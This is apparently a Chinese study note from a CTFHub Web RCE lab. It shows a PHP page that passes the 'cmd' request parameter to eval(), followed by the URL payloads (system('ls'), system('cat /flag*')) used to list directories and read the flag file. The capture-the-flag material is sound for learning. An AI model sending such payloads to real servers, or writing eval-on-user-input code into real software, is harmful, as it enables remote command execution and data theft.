CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
代码游侠2 分钟前
学习笔记——GPIO按键与中断系统
c语言·开发语言·arm开发·笔记·嵌入式硬件·学习·重构
楼田莉子8 分钟前
Linux学习之库的原理与制作
linux·运维·服务器·c++·学习
枷锁—sha12 分钟前
【Vulhub】1Panel 访问控制绕过实战指南 (CVE-2024-39907)
运维·学习·安全·网络安全
浅念-20 分钟前
C++第一课
开发语言·c++·经验分享·笔记·学习·算法
charlie11451419123 分钟前
现代嵌入式C++教程:对象池(Object Pool)模式
开发语言·c++·学习·算法·嵌入式·现代c++·工程实践
小丁努力不焦虑24 分钟前
你在以前遇到了什么困难你又是如何解决的?
学习
我命由我1234526 分钟前
Android Studio - Android Studio 中的 View Live Telemetry
经验分享·学习·android studio·学习方法·android jetpack·android-studio·android runtime
xiaoxiaoxiaolll33 分钟前
面向集成微系统供电:《Light》揭示石墨烯混合材料微型电容器的结构化电极设计与性能优化
学习
roo_135 分钟前
JAVA学习-MAC搭建java环境和spring boot搭建
java·学习·macos
詩不诉卿37 分钟前
Zephyr学习之PWM方式驱动LED灯记录
学习